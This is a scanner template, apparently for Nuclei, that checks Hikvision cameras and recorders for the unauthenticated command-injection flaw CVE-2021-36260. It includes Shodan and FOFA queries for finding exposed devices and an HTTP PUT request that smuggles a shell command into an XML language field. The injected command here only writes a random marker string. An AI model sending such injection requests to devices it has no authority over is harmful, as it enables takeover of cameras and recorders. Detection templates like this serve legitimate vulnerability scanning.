Certain Hikvision products contain a command injection vulnerability in the web server due to the insufficient input validation. An attacker can exploit the vulnerability to launch a command injection attack by sending some messages with malicious commands.
PoC代码[已公开]
id: CVE-2021-36260
info:
name: Hikvision IP camera/NVR - Remote Command Execution
author: pdteam,gy741,johnk3r
severity: critical
description: Certain Hikvision products contain a command injection vulnerability in the web server due to the insufficient input validation. An attacker can exploit the vulnerability to launch a command injection attack by sending some messages with malicious commands.
impact: |
Successful exploitation of this vulnerability allows an attacker to execute arbitrary commands on the affected device.
remediation: |
Apply the latest firmware update provided by Hikvision to mitigate this vulnerability.
reference:
- https://watchfulip.github.io/2021/09/18/Hikvision-IP-Camera-Unauthenticated-RCE.html
- https://www.hikvision.com/en/support/cybersecurity/security-advisory/security-notification-command-injection-vulnerability-in-some-hikvision-products/
- https://nvd.nist.gov/vuln/detail/CVE-2021-36260
- https://github.com/Aiminsun/CVE-2021-36260
- https://therecord.media/experts-warn-of-widespread-exploitation-involving-hikvision-cameras/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-36260
cwe-id: CWE-78
epss-score: 0.94436
epss-percentile: 0.99985
cpe: cpe:2.3:o:hikvision:ds-2cd2026g2-iu\/sl_firmware:-:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: hikvision
product: ds-2cd2026g2-iu\/sl_firmware
shodan-query: http.favicon.hash:999357577
fofa-query: icon_hash=999357577
tags: cve2021,cve,hikvision,rce,iot,intrusive,kev
variables:
string: "{{to_lower(rand_base(12))}}"
http:
- raw:
- |
PUT /SDK/webLanguage HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
<?xml version="1.0" encoding="UTF-8"?><language>$(echo {{string}}>webLib/x)</language>
- |
GET /x HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body_2
words:
- "{{string}}"
# digest: 490a00463044022017a11e966f22fb8a944208d815a895a6d8bf54a32431ec14ad8f0b14b36e0a7a02200f78ced1b2e78ef29681bea4a72b68e9163a1eeb64449bf80940cc712fb2b463:922c64590222798bb761d5b6d8e72950